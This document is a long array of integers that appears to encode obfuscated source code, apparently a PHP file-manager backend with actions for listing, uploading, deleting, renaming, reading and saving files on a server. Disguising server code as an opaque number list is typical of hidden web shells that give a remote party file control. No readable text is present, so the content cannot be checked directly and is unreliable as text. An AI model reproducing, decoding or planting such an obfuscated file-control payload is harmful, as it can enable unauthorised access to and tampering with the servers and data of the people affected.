18, 25, 6, 6, 6, 25, 91, 90, 85, 72, 94, 18, 25, 64, 25, 91, 88, 85, 84, 72, 94, 17, 29, 91, 81, 18, 0, 25, 87, 94, 77, 78, 87, 83, 25, 91, 90, 85, 72, 94, 0, 25, 70, 54, 63, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 91, 88, 85, 84, 72, 94, 17, 29, 91, 81, 18, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 77, 87, 78, 94, 0, 54, 63, 70, 54, 63, 54, 63, 20, 31, 25, 6, 6, 6, 6, 6, 25, 122, 127, 122, 97, 25, 122, 105, 114, 25, 6, 6, 6, 6, 6, 25, 31, 20, 54, 63, 29, 90, 88, 77, 82, 84, 83, 25, 6, 25, 83, 78, 85, 85, 0, 54, 63, 82, 91, 25, 17, 29, 100, 104, 126, 119, 107, 126, 119, 96, 28, 119, 126, 106, 110, 126, 104, 109, 100, 118, 126, 109, 113, 116, 125, 28, 102, 25, 6, 6, 6, 25, 28, 105, 116, 104, 109, 28, 18, 25, 64, 54, 63, 25, 25, 25, 25, 20, 20, 25, 120, 113, 122, 115, 124, 126, 125, 15, 25, 78, 72, 94, 25, 28, 72, 81, 82, 80, 82, 92, 91, 28, 25, 82, 83, 72, 77, 94, 90, 93, 25, 84, 91, 25, 28, 90, 88, 77, 82, 84, 83, 28, 54, 63, 25, 25, 25, 25, 29, 90, 88, 77, 82, 84, 83, 25, 6, 25, 29, 100, 105, 116, 104, 109, 96, 28, 72, 81, 82, 80, 82, 92, 91, 28, 102, 25, 4, 4, 25, 17, 29, 100, 124, 126, 109, 96, 28, 72, 81, 82, 80, 82, 92, 91, 28, 102, 25, 4, 4, 25, 83, 78, 85, 85, 18, 0, 54, 63, 70, 54, 63, 82, 91, 25, 17, 29, 90, 88, 77, 82, 84, 83, 25, 26, 6, 6, 25, 83, 78, 85, 85, 25, 27, 27, 25, 29, 100, 104, 126, 119, 107, 126, 119, 96, 28, 119, 126, 106, 110, 126, 104, 109, 100, 118, 126, 109, 113, 116, 125, 28, 102, 25, 6, 6, 6, 25, 28, 105, 116, 104, 109, 28, 18, 25, 64, 54, 63, 25, 25, 25, 25, 29, 73, 90, 77, 81, 25, 6, 25, 87, 94, 74, 78, 94, 72, 77, 94, 93, 100, 73, 90, 77, 81, 17, 29, 119, 116, 116, 109, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 26, 76, 82, 77, 81, 82, 83, 100, 87, 84, 84, 77, 17, 29, 73, 90, 77, 81, 21, 25, 29, 119, 116, 116, 109, 18, 18, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 91, 90, 85, 72, 94, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 39, 105, 90, 77, 81, 25, 84, 78, 77, 25, 84, 91, 25, 93, 87, 82, 75, 94, 25, 87, 84, 84, 77, 19, 39, 102, 21, 25, 13, 9, 9, 18, 0, 54, 63, 54, 63, 25, 25, 25, 25, 72, 76, 82, 77, 88, 81, 25, 17, 29, 90, 88, 77, 82, 84, 83, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 88, 90, 72, 94, 25, 28, 85, 82, 72, 77, 28, 15, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 82, 77, 94, 86, 72, 25, 6, 25, 85, 82, 72, 77, 100, 93, 82, 87, 17, 29, 73, 90, 77, 81, 21, 25, 29, 119, 116, 116, 109, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 73, 90, 66, 85, 84, 90, 93, 25, 6, 25, 90, 87, 87, 90, 66, 100, 86, 90, 73, 17, 91, 78, 83, 88, 77, 82, 84, 83, 17, 29, 82, 18, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 96, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 83, 90, 86, 94, 39, 25, 6, 3, 25, 29, 82, 96, 39, 83, 90, 86, 94, 39, 102, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 77, 66, 73, 94, 39, 25, 6, 3, 25, 29, 82, 96, 39, 77, 66, 73, 94, 39, 102, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 72, 82, 79, 94, 39, 25, 6, 3, 25, 29, 82, 96, 39, 77, 66, 73, 94, 39, 102, 25, 6, 6, 6, 25, 39, 93, 82, 87, 39, 25, 4, 25, 39, 39, 25, 15, 25, 17, 29, 82, 96, 39, 72, 82, 79, 94, 39, 102, 25, 26, 6, 6, 25, 91, 90, 85, 72, 94, 25, 27, 27, 25, 29, 82, 96, 39, 72, 82, 79, 94, 39, 102, 25, 26, 6, 6, 25, 83, 78, 85, 85, 25, 4, 25, 91, 84, 87, 86, 90, 77, 100, 72, 82, 79, 94, 17, 17, 82, 83, 77, 18, 29, 82, 96, 39, 72, 82, 79, 94, 39, 102, 18, 25, 15, 25, 28, 28, 18, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 87, 90, 76, 104, 82, 79, 94, 39, 25, 6, 3, 25, 29, 82, 96, 39, 77, 66, 73, 94, 39, 102, 25, 6, 6, 6, 25, 39, 93, 82, 87, 39, 25, 4, 25, 9, 25, 15, 25, 17, 17, 82, 83, 77, 18, 29, 82, 96, 39, 72, 82, 79, 94, 39, 102, 18, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 86, 77, 82, 86, 94, 39, 25, 6, 3, 25, 29, 82, 96, 39, 86, 77, 82, 86, 94, 39, 102, 25, 4, 25, 93, 90, 77, 94, 17, 28, 98, 22, 86, 22, 93, 25, 113, 15, 82, 15, 72, 28, 21, 25, 17, 82, 83, 77, 18, 29, 82, 96, 39, 86, 77, 82, 86, 94, 39, 102, 18, 25, 15, 25, 28, 28, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 73, 90, 77, 81, 39, 25, 6, 3, 25, 29, 82, 96, 39, 73, 90, 77, 81, 39, 102, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 102, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 70, 21, 25, 29, 82, 77, 94, 86, 72, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 84, 80, 39, 25, 6, 3, 25, 77, 87, 78, 94, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 73, 90, 77, 81, 39, 25, 6, 3, 25, 83, 84, 87, 86, 90, 85, 82, 79, 94, 100, 72, 85, 90, 72, 81, 94, 72, 17, 29, 73, 90, 77, 81, 18, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 103, 87, 94, 90, 93, 88, 87, 78, 86, 103, 39, 25, 6, 3, 25, 103, 87, 94, 90, 93, 88, 87, 78, 86, 103, 100, 81, 77, 86, 85, 17, 29, 73, 90, 77, 81, 21, 25, 29, 119, 116, 116, 109, 18, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 82, 77, 94, 86, 72, 39, 25, 6, 3, 25, 29, 73, 90, 66, 85, 84, 90, 93, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 102, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 103, 87, 94, 90, 80, 0, 54, 63, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 20, 31, 25, 110, 73, 85, 84, 90, 93, 15, 25, 119, 122, 108, 25, 105, 116, 104, 109, 25, 103, 84, 93, 66, 25, 17, 97, 116, 119, 25, 72, 77, 87, 94, 90, 86, 18, 21, 25, 73, 90, 87, 90, 86, 72, 25, 82, 83, 25, 110, 119, 117, 15, 25, 83, 90, 80, 65, 83, 25, 17, 81, 94, 65, 18, 21, 25, 86, 94, 80, 82, 77, 82, 83, 83, 90, 25, 31, 20, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 88, 90, 72, 94, 25, 28, 78, 73, 85, 84, 90, 93, 100, 65, 84, 87, 28, 15, 54, 63, 25, 25, 25, 25, 29, 83, 90, 86, 94, 25, 6, 25, 17, 72, 77, 87, 82, 83, 92, 18, 17, 29, 100, 124, 126, 109, 96, 28, 86, 94, 80, 82, 77, 82, 83, 83, 90, 28, 102, 25, 4, 4, 25, 29, 100, 105, 116, 104, 109, 96, 28, 86, 94, 80, 82, 77, 82, 83, 83, 90, 28, 102, 25, 4, 4, 25, 28, 28, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 29, 83, 90, 86, 94, 25, 6, 6, 6, 25, 28, 28, 18, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 91, 90, 85, 72, 94, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 39, 118, 82, 72, 72, 82, 83, 92, 25, 91, 82, 85, 94, 25, 83, 90, 86, 94, 19, 39, 102, 21, 25, 13, 9, 9, 18, 0, 54, 63, 25, 25, 25, 25, 29, 93, 94, 72, 77, 25, 6, 25, 87, 77, 87, 82, 86, 17, 29, 73, 90, 77, 81, 21, 25, 39, 20, 101, 101, 39, 18, 25, 19, 25, 125, 114, 119, 126, 120, 109, 116, 119, 98, 100, 104, 126, 105, 122, 119, 122, 109, 116, 119, 25, 19, 25, 103, 90, 72, 94, 83, 90, 86, 94, 17, 29, 83, 90, 86, 94, 18, 0, 54, 63, 54, 63, 25, 25, 25, 25, 20, 20, 25, 119, 94, 90, 93, 25, 91, 87, 84, 86, 25, 73, 81, 73, 15, 20, 20, 82, 83, 73, 78, 77, 25, 82, 83, 77, 84, 25, 73, 81, 73, 15, 20, 20, 77, 94, 86, 73, 54, 63, 25, 25, 25, 25, 29, 82, 83, 25, 25, 6, 25, 91, 84, 73, 94, 83, 17, 28, 73, 81, 73, 15, 20, 20, 82, 83, 73, 78, 77, 28, 21, 25, 28, 87, 103, 28, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 26, 29, 82, 83, 18, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 91, 90, 85, 72, 94, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 39, 120, 90, 83, 83, 84, 77, 25, 84, 73, 94, 83, 25, 82, 83, 73, 78, 77, 25, 72, 77, 87, 94, 90, 86, 19, 39, 102, 21, 25, 13, 9, 9, 18, 0, 54, 63, 25, 25, 25, 25, 29, 77, 86, 73, 25, 6, 25, 91, 84, 73, 94, 83, 17, 28, 73, 81, 73, 15, 20, 20, 77, 94, 86, 73, 28, 21, 25, 28, 76, 16, 103, 28, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 26, 29, 77, 86, 73, 18, 25, 64, 25, 91, 88, 85, 84, 72, 94, 17, 29, 82, 83, 18, 0, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 91, 90, 85, 72, 94, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 39, 120, 90, 83, 83, 84, 77, 25, 88, 87, 94, 90, 77, 94, 25, 77, 94, 86, 73, 25, 72, 77, 87, 94, 90, 86, 19, 39, 102, 21, 25, 13, 9, 9, 18, 0, 25, 70, 54, 63, 54, 63, 25, 25, 25, 25, 72, 77, 87, 94, 90, 86, 100, 88, 84, 73, 66, 100, 77, 84, 100, 72, 77, 87, 94, 90, 86, 17, 29, 82, 83, 21, 25, 29, 77, 86, 73, 18, 0, 54, 63, 25, 25, 25, 25, 91, 88, 85, 84, 72, 94, 17, 29, 82, 83, 18, 0, 54, 63, 25, 25, 25, 25, 87, 94, 76, 82, 83, 93, 17, 29, 77, 86, 73, 18, 0, 54, 63, 54, 63, 25, 25, 25, 25, 29, 84, 78, 77, 25, 6, 25, 121, 91, 84, 73, 94, 83, 17, 29, 93, 94, 72, 77, 21, 25, 28, 76, 103, 28, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 26, 29, 84, 78, 77, 18, 25, 64, 25, 91, 88, 85, 84, 72, 94, 17, 29, 77, 86, 73, 18, 0, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 91, 90, 85, 72, 94, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 39, 120, 90, 83, 83, 84, 77, 25, 84, 73, 94, 83, 25, 93, 94, 72, 77, 82, 83, 90, 77, 82, 84, 83, 19, 39, 102, 21, 25, 13, 9, 9, 18, 0, 25, 70, 54, 63, 54, 63, 25, 25, 25, 25, 65, 84, 87, 100, 93, 94, 88, 84, 93, 94, 100, 72, 77, 87, 94, 90, 86, 100, 78, 73, 85, 84, 90, 93, 17, 29, 77, 86, 73, 21, 25, 29, 84, 78, 77, 18, 0, 54, 63, 25, 25, 25, 25, 91, 88, 85, 84, 72, 94, 17, 29, 84, 78, 77, 18, 0, 54, 63, 25, 25, 25, 25, 91, 88, 85, 84, 72, 94, 17, 29, 77, 86, 73, 18, 0, 54, 63, 54, 63, 25, 25, 25, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 77, 87, 78, 94, 21, 25, 39, 72, 90, 75, 94, 93, 39, 25, 6, 3, 25, 96, 29, 83, 90, 86, 94, 102, 102, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 103, 87, 94, 90, 80, 0, 54, 63, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 88, 90, 72, 94, 25, 28, 93, 94, 85, 94, 77, 94, 28, 15, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 83, 90, 86, 94, 25, 6, 25, 17, 72, 77, 87, 82, 83, 92, 18, 17, 29, 100, 105, 116, 104, 109, 96, 28, 83, 90, 86, 94, 28, 102, 25, 4, 4, 25, 28, 28, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 77, 90, 87, 92, 94, 77, 25, 6, 25, 87, 94, 90, 85, 73, 90, 77, 81, 17, 87, 77, 87, 82, 86, 17, 29, 73, 90, 77, 81, 21, 25, 39, 20, 101, 101, 39, 18, 25, 19, 25, 125, 114, 119, 126, 120, 109, 116, 119, 98, 100, 104, 126, 105, 122, 119, 122, 109, 116, 119, 25, 19, 25, 29, 83, 90, 86, 94, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 77, 90, 87, 92, 94, 77, 25, 6, 6, 6, 25, 91, 90, 85, 72, 94, 25, 69, 69, 25, 26, 76, 82, 77, 81, 82, 83, 100, 87, 84, 84, 77, 17, 29, 77, 90, 87, 92, 94, 77, 21, 25, 29, 119, 116, 116, 109, 18, 18, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 91, 90, 85, 72, 94, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 39, 114, 83, 75, 90, 85, 82, 93, 25, 77, 90, 87, 92, 94, 77, 19, 39, 102, 21, 25, 13, 9, 9, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 84, 80, 25, 6, 25, 82, 72, 100, 93, 82, 87, 17, 29, 77, 90, 87, 92, 94, 77, 18, 25, 4, 25, 121, 87, 86, 93, 82, 87, 17, 29, 77, 90, 87, 92, 94, 77, 18, 25, 15, 25, 121, 78, 83, 85, 82, 83, 80, 17, 29, 77, 90, 87, 92, 94, 77, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 17, 103, 84, 84, 85, 18, 29, 84, 80, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 29, 84, 80, 25, 4, 25, 83, 78, 85, 85, 25, 15, 25, 39, 125, 94, 85, 94, 77, 94, 25, 91, 90, 82, 85, 94, 93, 19, 39, 102, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 103, 87, 94, 90, 80, 0, 54, 63, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 88, 90, 72, 94, 25, 28, 87, 94, 83, 90, 86, 94, 28, 15, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 84, 85, 93, 25, 6, 25, 17, 72, 77, 87, 82, 83, 92, 18, 17, 29, 100, 105, 116, 104, 109, 96, 28, 84, 85, 93, 28, 102, 25, 4, 4, 25, 28, 28, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 83, 94, 76, 25, 6, 25, 17, 72, 77, 87, 82, 83, 92, 18, 17, 29, 100, 105, 116, 104, 109, 96, 28, 83, 94, 76, 28, 102, 25, 4, 4, 25, 28, 28, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 84, 85, 93, 25, 6, 6, 6, 25, 28, 28, 25, 69, 69, 25, 29, 83, 94, 76, 25, 6, 6, 6, 25, 28, 28, 18, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 91, 90, 85, 72, 94, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 39, 118, 82, 72, 72, 82, 83, 92, 25, 83, 90, 86, 94, 72, 19, 39, 102, 21, 25, 13, 9, 9, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 91, 87, 84, 86, 25, 6, 25, 87, 94, 90, 85, 73, 90, 77, 81, 17, 87, 77, 87, 82, 86, 17, 29, 73, 90, 77, 81, 21, 25, 39, 20, 101, 101, 39, 18, 25, 19, 25, 125, 114, 119, 126, 120, 109, 116, 119, 98, 100, 104, 126, 105, 122, 119, 122, 109, 116, 119, 25, 19, 25, 29, 84, 85, 93, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 77, 84, 25, 6, 25, 87, 77, 87, 82, 86, 17, 29, 73, 90, 77, 81, 21, 25, 39, 20, 101, 101, 39, 18, 25, 19, 25, 125, 114, 119, 126, 120, 109, 116, 119, 98, 100, 104, 126, 105, 122, 119, 122, 109, 116, 119, 25, 19, 25, 103, 90, 72, 94, 83, 90, 86, 94, 17, 29, 83, 94, 76, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 91, 87, 84, 86, 25, 6, 6, 6, 25, 91, 90, 85, 72, 94, 25, 69, 69, 25, 26, 76, 82, 77, 81, 82, 83, 100, 87, 84, 84, 77, 17, 29, 91, 87, 84, 86, 21, 25, 29, 119, 116, 116, 109, 18, 25, 69, 69, 25, 26, 76, 82, 77, 81, 82, 83, 100, 87, 84, 84, 77, 17, 29, 77, 84, 21, 25, 29, 119, 116, 116, 109, 18, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 91, 90, 85, 72, 94, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 39, 114, 83, 75, 90, 85, 82, 93, 25, 73, 90, 77, 81, 19, 39, 102, 21, 25, 13, 9, 9, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 84, 80, 25, 6, 25, 121, 87, 94, 83, 90, 86, 94, 17, 29, 91, 87, 84, 86, 21, 25, 29, 77, 84, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 17, 103, 84, 84, 85, 18, 29, 84, 80, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 29, 84, 80, 25, 4, 25, 83, 78, 85, 85, 25, 15, 25, 39, 119, 94, 83, 90, 86, 94, 25, 91, 90, 82, 85, 94, 93, 19, 39, 102, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 103, 87, 94, 90, 80, 0, 54, 63, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 88, 90, 72, 94, 25, 28, 87, 94, 90, 93, 28, 15, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 83, 90, 86, 94, 25, 6, 25, 17, 72, 77, 87, 82, 83, 92, 18, 17, 29, 100, 105, 116, 104, 109, 96, 28, 83, 90, 86, 94, 28, 102, 25, 4, 4, 25, 28, 28, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 77, 90, 87, 92, 94, 77, 25, 6, 25, 87, 94, 90, 85, 73, 90, 77, 81, 17, 87, 77, 87, 82, 86, 17, 29, 73, 90, 77, 81, 21, 25, 39, 20, 101, 101, 39, 18, 25, 19, 25, 125, 114, 119, 126, 120, 109, 116, 119, 98, 100, 104, 126, 105, 122, 119, 122, 109, 116, 119, 25, 19, 25, 29, 83, 90, 86, 94, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 77, 90, 87, 92, 94, 77, 25, 6, 6, 6, 25, 91, 90, 85, 72, 94, 25, 69, 69, 25, 26, 76, 82, 77, 81, 82, 83, 100, 87, 84, 84, 77, 17, 29, 77, 90, 87, 92, 94, 77, 21, 25, 29, 119, 116, 116, 109, 18, 25, 69, 69, 25, 26, 82, 72, 100, 91, 82, 85, 94, 17, 29, 77, 90, 87, 92, 94, 77, 18, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 91, 90, 85, 72, 94, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 39, 114, 83, 75, 90, 85, 82, 93, 25, 91, 82, 85, 94, 19, 39, 102, 21, 25, 13, 9, 9, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 73, 85, 90, 82, 83, 25, 6, 25, 94, 93, 82, 77, 84, 87, 100, 72, 77, 87, 94, 90, 86, 100, 87, 94, 90, 93, 100, 91, 82, 85, 94, 100, 73, 85, 90, 82, 83, 17, 29, 77, 90, 87, 92, 94, 77, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 77, 87, 78, 94, 21, 25, 39, 88, 84, 83, 77, 94, 83, 77, 39, 25, 6, 3, 25, 29, 73, 85, 90, 82, 83, 21, 25, 39, 83, 90, 86, 94, 39, 25, 6, 3, 25, 103, 90, 72, 94, 83, 90, 86, 94, 17, 29, 77, 90, 87, 92, 94, 77, 18, 102, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 103, 87, 94, 90, 80, 0, 54, 63, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 88, 90, 72, 94, 25, 28, 72, 90, 75, 94, 28, 15, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 83, 90, 86, 94, 25, 6, 25, 17, 72, 77, 87, 82, 83, 92, 18, 17, 29, 100, 105, 116, 104, 109, 96, 28, 83, 90, 86, 94, 28, 102, 25, 4, 4, 25, 28, 28, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 103, 11, 13, 25, 6, 25, 17, 72, 77, 87, 82, 83, 92, 18, 17, 29, 100, 105, 116, 104, 109, 96, 28, 88, 84, 83, 77, 94, 83, 77, 100, 103, 11, 13, 28, 102, 25, 4, 4, 25, 28, 28, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 85, 94, 92, 90, 88, 66, 25, 6, 25, 17, 72, 77, 87, 82, 83, 92, 18, 17, 29, 100, 105, 116, 104, 109, 96, 28, 88, 84, 83, 77, 94, 83, 77, 28, 102, 25, 4, 4, 25, 28, 28, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 77, 90, 87, 92, 94, 77, 25, 6, 25, 87, 94, 90, 85, 73, 90, 77, 81, 17, 87, 77, 87, 82, 86, 17, 29, 73, 90, 77, 81, 21, 25, 39, 20, 101, 101, 39, 18, 25, 19, 25, 125, 114, 119, 126, 120, 109, 116, 119, 98, 100, 104, 126, 105, 122, 119, 122, 109, 116, 119, 25, 19, 25, 29, 83, 90, 86, 94, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 77, 90, 87, 92, 94, 77, 25, 6, 6, 6, 25, 91, 90, 85, 72, 94, 25, 69, 69, 25, 26, 76, 82, 77, 81, 82, 83, 100, 87, 84, 84, 77, 17, 29, 77, 90, 87, 92, 94, 77, 21, 25, 29, 119, 116, 116, 109, 18, 25, 69, 69, 25, 26, 82, 72, 100, 91, 82, 85, 94, 17, 29, 77, 90, 87, 92, 94, 77, 18, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 91, 90, 85, 72, 94, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 39, 114, 83, 75, 90, 85, 82, 93, 25, 91, 82, 85, 94, 19, 39, 102, 21, 25, 13, 9, 9, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 84, 80, 25, 6, 25, 91, 90, 85, 72, 94, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 103, 11, 13, 25, 26, 6, 6, 25, 28, 28, 18, 25, 29, 84, 80, 25, 6, 25, 94, 93, 82, 77, 84, 87, 100, 72, 77, 87, 94, 90, 86, 100, 93, 94, 88, 84, 93, 94, 100, 90, 83, 93, 100, 76, 87, 82, 77, 94, 100, 103, 11, 13, 17, 29, 103, 11, 13, 21, 25, 29, 77, 90, 87, 92, 94, 77, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 94, 85, 72, 94, 82, 91, 25, 17, 29, 85, 94, 92, 90, 88, 66, 25, 26, 6, 6, 25, 28, 28, 18, 25, 29, 84, 80, 25, 6, 25, 94, 93, 82, 77, 84, 87, 100, 72, 77, 87, 94, 90, 86, 100, 93, 94, 88, 84, 93, 94, 100, 90, 83, 93, 100, 76, 87, 82, 77, 94, 100, 85, 94, 92, 90, 88, 66, 17, 29, 85, 94, 92, 90, 88, 66, 21, 25, 29, 77, 90, 87, 92, 94, 77, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 29, 84, 80, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 29, 84, 80, 25, 4, 25, 83, 78, 85, 85, 25, 15, 25, 39, 104, 90, 75, 94, 25, 91, 90, 82, 85, 94, 93, 19, 39, 102, 18, 